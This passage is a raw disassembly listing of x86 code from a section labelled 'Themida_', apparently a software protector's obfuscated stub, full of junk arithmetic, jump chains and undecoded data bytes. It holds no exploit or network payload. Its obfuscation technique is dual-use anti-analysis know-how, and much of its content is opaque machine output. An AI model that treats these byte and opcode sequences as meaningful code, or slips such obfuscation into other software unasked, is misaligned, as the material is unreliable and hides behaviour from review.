edi xchg ebp, [esp] jmp loc_55E503 ; --------------------------------------------------------------------------- loc_558028: ; CODE XREF: Themida_:0055ACDEj mov edx, [esp] add esp, 4 add edx, 42FE42CEh mov edi, [esp] add esp, 4 sub eax, 5AEF684Ch jmp loc_55579B ; --------------------------------------------------------------------------- loc_558044: ; CODE XREF: Themida_:005541A6j sub esp, 4 mov [esp], edx jmp loc_55D713 ; --------------------------------------------------------------------------- loc_55804F: ; CODE XREF: Themida_:00557E10j push 7748h mov [esp], eax push 3F2Ah jmp loc_55D51D ; --------------------------------------------------------------------------- loc_558061: ; CODE XREF: Themida_:0055D6AAj add ebp, 4 push ecx mov ecx, 4 jmp loc_5586C8 ; --------------------------------------------------------------------------- dw 0C483h dd 0B55CE904h, 81560000h, 4ECh, 24248900h, 4240481h, 5E000000h dd 4EC81h, 1C890000h, 0D0FBB24h, 0EC83300Eh, 24048904h dd 3361CFB8h, 0E9C32941h, 987h, 0FD52E958h, 21B4FFFFh dd 8058E730h, 0C6E9B0E7h, 8B0000CCh, 0C483242Ch, 0CD6DE904h dd 0BD55FFFFh, 63B7315Fh, 0CE5C581h, 10E93A3Ah, 8B00007Ah dd 0C4812404h, 4, 8B24048Fh, 0EAE92424h, 5FFFFFADh, 0C7C28142h dd 29CEA8D9h, 59575AD7h, 83243C8Bh, 0F90104C4h, 0FF5831FFh dd 83592434h, 2C8104C4h, 80539F24h, 0EC81525Ch, 4, 0E9241C89h dd 7CF7h, 5553D5F7h, 242C8B5Bh, 4C481h, 0BD550000h, 699E18A7h dd 0FFA838E9h db 0FFh ; --------------------------------------------------------------------------- loc_55813D: ; CODE XREF: Themida_:005661B2j push 6328h mov [esp], ecx push ebp mov ebp, 0 jmp loc_553150 ; --------------------------------------------------------------------------- loc_558150: ; CODE XREF: Themida_:0055693Cj add esp, 4 add edx, 4 sub esp, 4 mov [esp], ebp jmp loc_566AAC ; --------------------------------------------------------------------------- dw 0EB81h dd 65BA076Bh, 476BC381h, 0DD89351Ch, 1EABE9h, 6FE95000h db 0E9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558183: ; CODE XREF: Themida_:00556466j add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] jmp loc_55FE48 ; --------------------------------------------------------------------------- loc_558195: ; CODE XREF: Themida_:00557077j add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_564AC0 ; --------------------------------------------------------------------------- dw 3159h dd 240C8BCAh, 104C483h, 0D8015AD0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_562D1B ; --------------------------------------------------------------------------- loc_5581C8: ; CODE XREF: Themida_:0055D912j add esp, 4 add esp, 4 xor [esp], esi xor esi, [esp] xor [esp], esi mov ebx, [esp] add esp, 4 xor eax, ebx xor ebx, eax xor eax, ebx push edx push 98Fh mov [esp], ebp push eax mov eax, 711D031Fh xor eax, 4272110h mov ebp, eax pop eax not ebp not ebp sub ebp, 0FFFFFFFFh push ebp jmp loc_55EA8F ; --------------------------------------------------------------------------- loc_55820D: ; CODE XREF: Themida_:0055DAD2j sub ebp, 1790AB1Ah add eax, ebp pop ebp sub ebx, eax pop eax sub esp, 4 jmp loc_55FCEC ; --------------------------------------------------------------------------- db 0F7h, 0D7h, 81h dd 0EB7433EFh, 5FFA3187h, 0DED6EA81h, 0D301CA20h, 81EB015Ah dd 7C702DEBh, 4EC8358h, 51243489h, 1D1C61B9h, 0E9D9F72Bh dd 0DE80h, 24048B66h, 4BE95157h, 0B9FFFFBAh, 3D6F1C02h dd 34FFCA01h, 4AE95924h, 66FFFFF4h, 68240C8Bh, 4AF2h, 66FBE9h dd 242C8100h, 1FBC2591h, 91C3815Bh, 8B1FBC25h, 0B9E9240Ch db 0A3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55828F: ; CODE XREF: Themida_:005656F4j mov [esp], eax jmp loc_552579 ; --------------------------------------------------------------------------- loc_558297: ; CODE XREF: Themida_:0055951Ej pop edx sub ebx, edi pop edi push ebp jmp loc_553310 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 52000000h, 3AC0E9h db 0 ; --------------------------------------------------------------------------- loc_5582AD: ; CODE XREF: Themida_:0055D7A3j push edi mov edi, 0E2CB6250h sub ebp, edi pop edi jmp loc_55868F ; --------------------------------------------------------------------------- db 8Bh dd 0F8E9241Ch db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5582C3: ; CODE XREF: Themida_:0056126Aj add [esp+8], edx pop edx mov ecx, [esp] add esp, 4 jmp loc_55E3D2 ; --------------------------------------------------------------------------- db 83h dd 2C3304C5h, 242C3124h, 8B242C33h, 0BA522424h, 44C1308Ah dd 92D8F792h, 703EC281h, 0D0016BB9h, 1A51E95Ah, 2C8B0000h dd 4C48124h, 81000000h, 4ECh, 0DBECE900h, 0CB01FFFFh, 5071E9h dd 1EC58000h, 2813C580h, 34FF59E8h, 0E427E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558326: ; CODE XREF: Themida_:00555DB6j add ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_557706 ; --------------------------------------------------------------------------- dd 59CA885Ah, 0FFC760E9h, 242C87FFh, 72E1E95Ch, 0D0090000h dd 4EA5E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55834E: ; CODE XREF: Themida_:0055C573j mov [esp], ebx push 1 push dword ptr [esp] pop ebx jmp loc_5647E9 ; --------------------------------------------------------------------------- loc_55835F: ; CODE XREF: Themida_:00565ED4j mov eax, 3A937C49h jmp loc_5598FA ; --------------------------------------------------------------------------- db 1, 0C5h, 0E9h dd 0FFFFEB55h ; --------------------------------------------------------------------------- loc_558370: ; CODE XREF: Themida_:005648D2j add edi, ebx pop ebx jmp loc_557CC7 ; --------------------------------------------------------------------------- dd 148B5452h, 4C48324h, 17ECE9h, 3293B800h, 0E0C10433h dd 0A2AFE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558392: ; CODE XREF: Themida_:00554510j and ebx, 20CD4F3Ah shl ebx, 4 xor ebx, 57D39352h sub edx, ebx jmp loc_55D47D ; --------------------------------------------------------------------------- loc_5583A8: ; CODE XREF: Themida_:00555BD0j add ecx, edi pop edi xchg ecx, [esp] mov esp, [esp] push 5C9Ch mov [esp], ecx push esp pop ecx add ecx, 4 push ebx jmp loc_565E4D ; --------------------------------------------------------------------------- db 5Fh dd 0FFD980E9h db 0FFh ; --------------------------------------------------------------------------- loc_5583CD: ; CODE XREF: Themida_:00557A95j sub ecx, esi mov esi, [esp] add esp, 4 add edi, ecx mov ecx, [esp] add esp, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push 6BEh mov [esp], edi push 1 push dword ptr [esp] pop edi jmp loc_55B443 ; --------------------------------------------------------------------------- dw 0C683h dd 24348704h, 90E9535Ch db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55840F: ; CODE XREF: Themida_:0055FB57j push 197Dh mov [esp], edi push esp pop edi jmp loc_556842 ; --------------------------------------------------------------------------- dw 24D3h dd 52E99C24h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558427: ; CODE XREF: Themida_:005530F8j shr eax, 0Ch jmp loc_55DAA0 ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h, 77E95224h, 8B0000B1h, 4312424h, 9EE99C24h dd 81FFFFCFh, 4C4h, 0AC73E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558452: ; CODE XREF: Themida_:0056785Fj xchg edx, [esp] pop ebx sub ebx, 0AF9BA8D1h and esi, ebx pop ebx or esi, 64467A6Ah push ecx mov ecx, 64567A6Eh xor esi, ecx jmp loc_55847E ; --------------------------------------------------------------------------- loc_558472: ; CODE XREF: Themida_:0055B503j mov [esp], ebx push esp mov ebx, [esp] jmp loc_563250 ; --------------------------------------------------------------------------- loc_55847E: ; CODE XREF: Themida_:0055846Dj mov ecx, [esp] push eax jmp loc_561511 ; --------------------------------------------------------------------------- db 83h dd 1C8702C3h, 24248B24h, 24048B66h, 2AB168h, 242C8900h dd 0FFE975E9h, 81E389FFh, 4C3h, 0E1895100h, 8904EC83h dd 4BD242Ch, 1000000h, 0BA525DE9h, 4, 0C9E9D129h, 66000012h dd 27243481h, 0E95E6648h, 0F898h ; --------------------------------------------------------------------------- loc_5584D4: ; CODE XREF: Themida_:00552EF3j dec edx dec edx sub edx, 8122A932h shl edx, 8 jmp loc_5668DB ; --------------------------------------------------------------------------- loc_5584E4: ; CODE XREF: Themida_:00558679j pop ebp mov eax, [esp] jmp loc_566F55 ; --------------------------------------------------------------------------- db 5Ah, 8Bh, 1Ch dd 0F1E95024h, 33000012h, 248B240Ch, 4896624h, 0A073E924h dd 0C581FFFFh, 0CF40805Fh, 0FFE94AE9h, 0E9F931FFh, 0F445h dd 0E904EC83h, 79B8h, 86241489h, 0F6012474h, 247430D6h dd 0DC15E901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558532: ; CODE XREF: Themida_:0055705Fj xchg eax, [esp] mov esp, [esp] jmp loc_5550DD ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 0F5810000h, 0F66AF974h, 0EB36952Dh, 929EE962h dd 0C1920000h, 0E94202E2h, 164Ah ; --------------------------------------------------------------------------- loc_558560: ; CODE XREF: Themida_:005617A1j push edi jmp loc_55761C ; --------------------------------------------------------------------------- dw 148Bh aS_10 db '$ι',9,'ΐ',0 align 2 dw 0C181h dd 4, 60D1BD55h, 0ED813043h, 0F9C46D9h, 0FFBADAE9h db 0FFh ; --------------------------------------------------------------------------- loc_558585: ; CODE XREF: Themida_:00561493j sub ebp, 5E6AAA39h jmp loc_5675D2 ; --------------------------------------------------------------------------- dd 0FFFFFFB8h, 0C5D5E9FFh, 0ED81FFFFh, 64E635C5h, 6478C581h dd 91E9AE42h, 0F700004Dh, 0CCC381DBh, 12B8FD5h, 20E95BD9h dd 4DFFFFD1h, 0D6F7F587h, 0C581F587h, 0CE5CD9E8h, 495DE989h dd 95C7E9h db 0 ; --------------------------------------------------------------------------- loc_5585D1: ; CODE XREF: Themida_:0055403Dj mov [esp], ecx sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_55BA55 ; --------------------------------------------------------------------------- dw 0F7B3h dd 805BDC30h, 0E4C0CBC4h, 0BFADE903h, 0BA520000h, 6560646Ch dd 4203E2C1h, 2ED7C281h, 0C8E95ABBh, 0B900009Ah, 0D232F6Eh dd 8246C81h, 472A5F76h, 8244C29h, 8244481h, 472A5F76h dd 592434FFh, 0E9585450h, 34E6h ; --------------------------------------------------------------------------- loc_558638: ; CODE XREF: Themida_:00563AF8j pop esp jmp loc_565D2E ; --------------------------------------------------------------------------- dw 0DAF7h dd 97C1E9h, 240C3300h, 33240C31h, 64E9240Ch db 0B2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558653: ; CODE XREF: Themida_:0055FF72j add eax, ebp pop ebp xchg eax, [esp] mov esp, [esp] jmp loc_5603B7 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 0FFFFDA0Ah ; --------------------------------------------------------------------------- loc_55866C: ; CODE XREF: Themida_:00561DEEj xor eax, 0D72EC61Bh push 4551h mov [esp], eax jmp loc_5584E4 ; --------------------------------------------------------------------------- loc_55867E: ; CODE XREF: Themida_:0055F1A6j mov esi, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx jmp loc_5609A9 ; --------------------------------------------------------------------------- loc_55868F: ; CODE XREF: Themida_:005582B6j push ebp pop ebx pop ebp push 1FBDh mov [esp], ebx pop esi mov ebx, [esp] push edx mov edx, esp jmp loc_564186 ; --------------------------------------------------------------------------- loc_5586A6: ; CODE XREF: Themida_:00558AF0j mov edx, 46541262h xor edx, esi jmp loc_560B07 ; --------------------------------------------------------------------------- dw 40Dh aES@s9 db 'eΑS@ιΔ9',0 dd 27CE8100h, 0E9451757h, 0FFFFBEADh ; --------------------------------------------------------------------------- loc_5586C8: ; CODE XREF: Themida_:0055806Dj sub ebp, ecx pop ecx xchg ebp, [esp] pop esp mov [esp], esp jmp loc_5678F3 ; --------------------------------------------------------------------------- db 0FFh a4Xh db '4$Xh²}',0 align 10h dd 81242C89h, 4ECh, 0E8FEE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5586EE: ; CODE XREF: Themida_:0055B44Cj neg ebx add ebx, 6BE26D55h add ebx, 0D14A9617h add edx, ebx pop ebx sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp push 259h jmp loc_5552EA ; --------------------------------------------------------------------------- db 56h dd 0B0362BEh, 5E6C120h, 0EE81D6F7h, 0A2B74347h, 0B5E9F529h db 9Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55872B: ; CODE XREF: Themida_:0056676Dj sub ebx, ecx pop ecx push dword ptr [esp] jmp loc_56375F ; --------------------------------------------------------------------------- loc_558736: ; CODE XREF: Themida_:0055A47Dj push 52D2h mov [esp], ebx push ecx mov ecx, 752328E5h add [esp+4], ecx jmp loc_562F88 ; --------------------------------------------------------------------------- db 31h, 34h, 24h dd 8B243433h, 8B662424h, 0EC832404h, 24048904h, 0B951E089h dd 767D142Ah, 1631F181h, 0F1816F43h, 193E021Fh, 0C8BC801h dd 4C48124h, 0E9000000h, 22D0h, 7FBC6857h, 0C15F06A5h dd 0C78108E7h, 16D67A12h, 3616F781h, 8157BC56h, 8E2242Ch dd 0E95E5218h, 405Ah ; --------------------------------------------------------------------------- loc_5587A8: ; CODE XREF: Themida_:0055B01Aj mov ebx, 25D31CF4h sub ecx, ebx pop ebx shr ecx, 7 xor ecx, 40DBF969h sub edx, ecx pop ecx push ebx mov ebx, 2A25070Dh add edx, ebx pop ebx mov edi, [esp] jmp loc_560D3E ; --------------------------------------------------------------------------- db 81h, 44h, 24h dd 9C7E4C04h, 0CBF4E92Ch, 6FBEFFFFh, 0B850E53Fh, 0BE19CBB0h dd 0BC30612Dh, 5F00149h, 49BC3061h, 7341255Eh, 4F972E8Ch dd 0D8B22D97h, 0C609C2EFh, 0E924048Bh, 156h, 2474FF55h dd 48F5D04h, 0FF505524h, 58042474h, 6824048Fh, 44A9h, 87240489h dd 8953241Ch, 4C381E3h, 57000000h, 4BFh, 0E9FB2900h, 0FFFFE77Bh dd 53240489h, 0CB8057B3h, 0C0E3D0ADh, 0EBC005E3h, 0FBF38002h dd 205BDC88h, 0B05058E6h, 86000466h, 86D3F6D8h, 5E8C0D8h dd 0C600C834h, 5AF00058h, 6A1F6851h, 14890000h, 65A96824h dd 1C890000h, 0E9F4B724h, 41E0h, 0E9241433h, 7FCBh, 5A58C729h dd 5D68E9h db 0 ; --------------------------------------------------------------------------- loc_558895: ; CODE XREF: Themida_:005666A8j push 5CC81982h pop ebx xor ebx, 6F1E5751h mov ecx, ebx jmp loc_552E98 ; --------------------------------------------------------------------------- dd 5C242C87h, 8B240C87h, 8B662424h, 52682404h, 8900004Dh dd 3BE9243Ch, 8900001Eh, 37E4E9F7h, 0C4830000h, 0E267E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5588D2: ; CODE XREF: Themida_:00556EC0j xor eax, 8BB4EFF2h add esi, eax pop eax jmp loc_561111 ; --------------------------------------------------------------------------- loc_5588DF: ; CODE XREF: Themida_:0056377Fj add edx, 4 jmp loc_559846 ; --------------------------------------------------------------------------- dw 8966h dd 86E92404h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5588F3: ; CODE XREF: Themida_:0055D149j add esp, 4 jmp loc_564F46 ; --------------------------------------------------------------------------- loc_5588FE: ; CODE XREF: Themida_:005606D3j mov ebp, esp push ebx mov ebx, 4 add ebp, ebx jmp loc_554560 ; --------------------------------------------------------------------------- loc_55890D: ; CODE XREF: Themida_:0055BC06j xor bl, 94h jmp loc_5649FA ; --------------------------------------------------------------------------- loc_558915: ; CODE XREF: Themida_:00553704j mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55FC5E ; --------------------------------------------------------------------------- dw 0F281h dd 1988BD4Bh, 0B0E9D189h, 0FF00006Eh, 59042474h, 5C24048Fh dd 11B96853h, 1E680000h, 89000054h, 45E92424h, 0B100007Ch dd 7A7E9DDh, 0C4830000h, 0A5C68104h, 55B44195h, 42C9E9h dd 0EC835900h, 240C8904h, 0EDD007B5h, 0F6FFC580h, 6A0EE9D5h dd 505D0000h, 6521E9h db 0 ; --------------------------------------------------------------------------- loc_558989: ; CODE XREF: Themida_:005544B7j xor eax, edi pop edi jmp loc_55AD60 ; --------------------------------------------------------------------------- db 0BDh, 35h, 71h dd 0EDC11E13h, 81DDF704h, 0F385E3F5h, 0BF5755ABh, 19A25BAFh dd 420FE781h, 0BB534614h, 648F793Dh, 122EF381h, 0E3C10B92h dd 4E3C107h, 0FFA19FE9h, 0FEDCF6FFh, 16CC80C4h, 52B4F480h dd 0A6E9B9B2h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5589D7: ; CODE XREF: Themida_:0055B35Ej sub ebp, 1538C2A4h and ecx, ebp pop ebp push esi mov esi, 0BD19AFE6h jmp loc_5652CC ; --------------------------------------------------------------------------- loc_5589EB: ; CODE XREF: Themida_:00559049j inc ebp add ebp, 3FAF19DFh jmp loc_556F46 ; --------------------------------------------------------------------------- loc_5589F7: ; CODE XREF: Themida_:00562751j not eax and eax, 22D12F8h jmp loc_560ED2 ; --------------------------------------------------------------------------- loc_558A03: ; CODE XREF: Themida_:00567BC3j shl edx, 8 jmp loc_55F2F1 ; --------------------------------------------------------------------------- db 33h dd 248B2404h, 66E1F624h, 68CCB60Fh, 656Ch, 0D3FCE9h db 0 ; --------------------------------------------------------------------------- loc_558A21: ; CODE XREF: Themida_:0055331Bj add ebp, 127E6DD2h jmp loc_561486 ; --------------------------------------------------------------------------- a0SS db '0κιΓι',0 dw 5800h dd 0EBC1DBF7h, 0A5EB8107h, 0E900224Ah, 7F2Bh, 9BE18149h dd 497BCB1Ah, 8103E9C1h, 71A1A7C1h, 59CA299Dh, 4EC81h dd 14890000h, 815A5E24h, 0A05198C2h, 81F20165h, 0A05198EAh dd 0ED2D5E65h, 12D054Dh, 4DED05D0h, 148B2D05h, 4C48124h dd 55000000h, 304CD5BDh, 6EDC140h, 4EC81h, 1C890000h, 0EF7EE924h dd 248B0000h, 4FF6624h, 0CEE99C24h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558AAB: ; CODE XREF: Themida_:00565723j mov esp, [esp] jmp loc_56669B ; --------------------------------------------------------------------------- db 81h dd 1C4FEBE3h, 4EC8142h, 0E9000000h, 11FFh, 4BA52h, 54010000h dd 8B5A0424h, 0E7E92404h, 51FFFFE9h, 31A1BB53h, 0A5B977C3h dd 3177C331h, 0A9E95BD9h db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_558AEB: ; CODE XREF: Themida_:00564AA6j mov esi, 4BCD1540h jmp loc_5586A6 ; --------------------------------------------------------------------------- db 89h, 0FEh, 5Fh dd 815EF709h, 4082DCC7h, 0E9F8010Ch, 0FFFFA97Ch, 0FFE9D5F7h db 0C7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558B0F: ; CODE XREF: Themida_:0055C95Cj pop ecx loc_558B10: ; CODE XREF: Themida_:00560191j push edx mov edx, esp push eax jmp loc_55937C ; --------------------------------------------------------------------------- db 66h, 89h, 1Ch dd 0CB686624h, 1C8B6671h, 2C48324h, 66D83166h, 5468665Bh dd 4896679h, 16D7E924h, 54550000h, 4C5815Dh, 83000000h dd 0FAE904C5h, 81000052h, 0D7042444h, 15CE709h, 8104245Ch dd 0D704246Ch, 8B5CE709h, 0C483241Ch, 9A0FE904h, 8268FFFFh dd 8900003Fh, 2E92404h, 53000033h, 966C5ABBh, 0A1BE5615h dd 96A3425h, 2553E9F3h, 34FF0000h, 0C4815D24h, 4, 0FFA5CBE9h dd 0B75366FFh, 0E9F800EEh, 0BB48h ; --------------------------------------------------------------------------- loc_558BA4: ; CODE XREF: Themida_:00559608j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_55CB82 ; --------------------------------------------------------------------------- db 55h, 54h, 5Dh dd 8904EC83h, 4B82404h, 53000000h, 9659D5BBh, 0BAF4E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558BD2: ; CODE XREF: Themida_:00555EECj xor edx, [esp] xor [esp], edx jmp loc_558DFA ; --------------------------------------------------------------------------- db 42h, 0F7h, 0DAh dd 5FB6EA81h, 0D63135F3h, 8124148Bh, 4C4h, 4EC8100h, 0E9000000h dd 0FFFFC04Bh, 0E907E3C1h, 6F1h ; --------------------------------------------------------------------------- loc_558C04: ; CODE XREF: Themida_:005603BAj push ecx push ebp jmp loc_55694E ; --------------------------------------------------------------------------- db 5Ah dd 4B850h, 0EA810000h, 6C754C06h, 5D09EA81h, 0C201371Fh dd 0FFC3FFE9h, 243489FFh, 683771BEh, 9C5BE92Ah, 0F6810000h dd 0CFFDCE1h, 835EF001h, 0E95004C0h, 3B55h, 31241433h dd 14332414h, 24248B24h, 0BE243489h, 4, 34FFF201h db 24h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55E720 ; --------------------------------------------------------------------------- dw 8B54h dd 0DE9242Ch db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_558C6F: ; CODE XREF: Themida_:00554C6Fj mov ecx, [esp] push eax mov eax, esp push edi jmp loc_55DF13 ; --------------------------------------------------------------------------- db 50h dd 47246CB8h, 5CE9516Eh, 83FFFFD4h, 0C58104C4h, 4, 5504ED83h dd 42474FFh, 0BDF6E95Dh, 34FF0000h, 2434FF24h, 0E9240C8Bh dd 5F9h ; --------------------------------------------------------------------------- loc_558CAC: ; CODE XREF: Themida_:0055D0D0j pop ebx xchg ecx, [esp] pop esp jmp loc_55CEC9 ; --------------------------------------------------------------------------- loc_558CB6: ; CODE XREF: Themida_:0055C925j push 2984h mov [esp], ecx push eax push ebx mov bh, 9 sub bh, 1 shl bh, 7 sub bh, 0E7h xchg ch, bh not ch xchg ch, bh add bh, 4 mov ah, bh pop ebx sub ah, 43h push edx mov dh, 4Ah xor ah, dh pop edx sub esp, 4 mov [esp], ebx jmp loc_5623CA ; --------------------------------------------------------------------------- dw 0DE09h dd 0FFA4A0E9h, 58C189FFh, 4EC81h, 0C890000h, 24348124h dd 634E07FBh, 0FBF6815Eh, 0E9634E07h, 0FFFFEED2h, 72E9DD31h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558D1B: ; CODE XREF: Themida_:0055B6EDj sub [esp+0Ch], esi pop esi pop eax add dword ptr [esp+4], 599923ECh sub dword ptr [esp+4], 38F07E36h add dword ptr [esp+4], 59C0FBAh add [esp+4], edi sub dword ptr [esp+4], 59C0FBAh add dword ptr [esp+4], 38F07E36h jmp loc_561E8B ; --------------------------------------------------------------------------- loc_558D52: ; CODE XREF: Themida_:0055A385j pop ecx jmp loc_560F97 ; --------------------------------------------------------------------------- loc_558D58: ; CODE XREF: Themida_:00555EA1j mov [esp], edx mov edx, 13F6F23Eh jmp loc_5633F0 ; --------------------------------------------------------------------------- db 81h, 0CBh, 0F1h dd 0D14C6349h, 0A215E9EBh, 0B951FFFFh, 55DC46B2h, 59A7C581h dd 0CD2932F2h, 59A7ED81h, 815932F2h, 732B08EDh, 53FD0142h dd 732B08BBh, 5BDD0142h, 46B2C581h, 835F55DCh, 43E904C5h dd 350000EDh, 129870D8h, 3D8168h, 0B251E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558DB6: ; CODE XREF: Themida_:00557621j xor edi, 3E6529DEh dec edi jmp loc_559DF8 ; --------------------------------------------------------------------------- aSua db '^ιγA',0 align 4 loc_558DC8: ; CODE XREF: Themida_:0055499Bj push dword ptr [esp] pop ebx jmp loc_55B6FD ; --------------------------------------------------------------------------- db 59h, 68h, 16h dd 89000012h, 0D7E9242Ch, 89FFFFA9h, 0B5512414h, 0EB8853D7h dd 50DD8851h, 8853EC88h, 5BFA88E7h, 77E1E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558DFA: ; CODE XREF: Themida_:00558BD8j pop ecx add ecx, 1274725Ch sub ecx, 9263280h jmp loc_55A6E3 ; --------------------------------------------------------------------------- dd 0FF9768E9h, 0E9AD2CFFh, 6608h, 0F381D3F7h, 6076459Eh dd 0FFAD42E9h, 65F668FFh, 3C890000h, 2B09BF24h, 0F3E92F37h db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558E37: ; CODE XREF: Themida_:0055F86Fj add esp, 4 add edx, 0D0008005h jmp loc_560AD0 ; --------------------------------------------------------------------------- dd 8124148Bh, 4C4h, 4C48300h, 7329C181h, 0E8685D41h, 0E900001Ch dd 0FFFFA0E7h ; --------------------------------------------------------------------------- loc_558E64: ; CODE XREF: Themida_:0055C69Bj mov ebp, [esp] add esp, 4 jmp loc_5666FB ; --------------------------------------------------------------------------- aJbMRnZUbO db 'Jκm',9,'rn)ΦZ)ξΖ',0 dw 5412h dd 240EEE81h, 34FF0149h, 0E9555D24h, 47F3h, 15DE889h, 0E8315FF8h dd 58C6895Dh, 50E9CE87h, 1FFFFE6h, 0A0E95DE9h, 400000Dh dd 4402C35h, 2CD00006h, 26DA6806h, 0C890000h, 8059B524h dd 0C58098F5h, 9CC580E3h, 0E959E800h, 8086h, 1B48EB81h dd 0F3812DB2h, 492A72F6h, 79D9C381h, 57E9B20Ch, 0F7000081h dd 35CF05D8h, 0AE2D6C8Ch, 891B35B3h, 0E98158C5h, 690425Dh dd 0CEE9E901h, 81FFFFCCh, 0E1001C5h, 81DD2939h, 0E1001EDh dd 0E9555339h, 0BDB4h, 0E95EF131h, 0C185h ; --------------------------------------------------------------------------- loc_558F24: ; CODE XREF: Themida_:00566FFDj pop eax add esp, 4 add edi, esi jmp loc_55ADB4 ; --------------------------------------------------------------------------- dw 0E868h dd 89000063h, 1682404h, 0FF000000h, 34FF2434h, 89505824h dd 4BCCE9E0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558F4E: ; CODE XREF: Themida_:00552954j add esi, edi pop edi mov edi, 6C971618h xor edi, 2DFC6483h sub edi, 186E2136h inc edi push ebp mov ebp, 572918BBh xor edi, ebp pop ebp sub edi, 11D00892h add edi, 44292501h sub edi, esi sub edi, 44292501h jmp loc_5615AC ; --------------------------------------------------------------------------- loc_558F85: ; CODE XREF: Themida_:005547A5j shr ebp, 3 xor ebp, 618B1385h jmp loc_554420 ; --------------------------------------------------------------------------- loc_558F93: ; CODE XREF: Themida_:005632A8j push 61C8231Ah pop esi or esi, 7BF46355h add esi, 27D9303Eh add esi, 63EA8387h mov edi, esi pop esi push edi jmp loc_5665A1 ; --------------------------------------------------------------------------- dd 0BF0F0A68h, 24348B41h, 0E904C483h, 0FFFFC5ADh, 5605EAC1h dd 27EABA52h, 0D2F7120Dh, 63EA8142h, 0F77CE046h, 35EA81D2h dd 535B1B77h, 560BB1BBh, 34EB8134h, 0E93BA114h, 0FFFFFD75h dd 0BB534A5Dh, 55C232C2h, 62AEEB81h, 0EBC1514Eh, 4BE38107h dd 8177DE00h, 188030EBh, 0E9DA31C0h, 0DA58h ; --------------------------------------------------------------------------- loc_559014: ; CODE XREF: Themida_:00561032j push esi mov esi, 0AA0EFE1Fh jmp loc_565B72 ; --------------------------------------------------------------------------- loc_55901F: ; CODE XREF: Themida_:0055D71Dj add esp, 4 add edx, edi pop edi push ecx mov ecx, 10C76875h xor ecx, 10C76871h add edx, ecx pop ecx push 2444h mov [esp], edx push dword ptr [esp+4] pop edx jmp loc_562DDF ; --------------------------------------------------------------------------- loc_559046: ; CODE XREF: Themida_:0055F2B4j shl ebp, 6 jmp loc_5589EB ; --------------------------------------------------------------------------- dw 2C87h dd 9523E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559056: ; CODE XREF: Themida_:00559E99j mov [edx], bh jmp loc_565268 ; --------------------------------------------------------------------------- db 0BBh, 61h, 46h dd 8AE96F9Dh, 0BDFFFFB3h, 7181D53h, 0A5E9DDF7h, 59000036h dd 0FF9826E9h, 4C181FFh, 0E9000000h, 4FF0h, 0E959CE01h dd 7A33h, 0E99CC83Bh, 0FFFF94E5h, 31243433h, 34332434h dd 24248B24h, 0FFE5B2E9h, 66B951FFh, 817F0263h, 65A9DCC1h dd 59CB898Dh, 348BF301h, 4C48324h, 815BD931h, 0D078E4E9h dd 6ABF5758h, 812D2538h, 0F016E5CFh, 0C5E94701h, 8BFFFFA2h dd 4E92424h, 660000E2h, 0E9240C8Bh, 41F8h, 241C8B54h, 4C481h dd 6FE90000h, 89FFFFD8h, 685557E6h, 655750BFh, 0FFB509E9h dd 66C828FFh, 28172C59h, 41704D8h, 68EE2CDDh, 5A0Bh, 0E9241C89h dd 9CE6h, 2C8B5455h, 4C48324h, 4C581h, 0ED810000h, 4, 31242C33h dd 1CE9242Ch db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55913F: ; CODE XREF: Themida_:00559853j sub eax, 467B5BE8h mov edi, eax mov eax, [esp] add esp, 4 sub edx, edi mov edi, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] mov [esp], eax jmp loc_562C7F ; --------------------------------------------------------------------------- loc_559168: ; CODE XREF: Themida_:005666F0j mov ebx, edi jmp loc_560569 ; --------------------------------------------------------------------------- loc_55916F: ; CODE XREF: Themida_:0055C142j add esi, ecx sub esi, 6FFE5331h sub esi, 499C0F33h push ebx push edi mov edi, 34CF27D0h not edi xor edi, 0BD1BD699h mov ebx, edi pop edi add esi, 0D947DCAh sub esi, ebx sub esi, 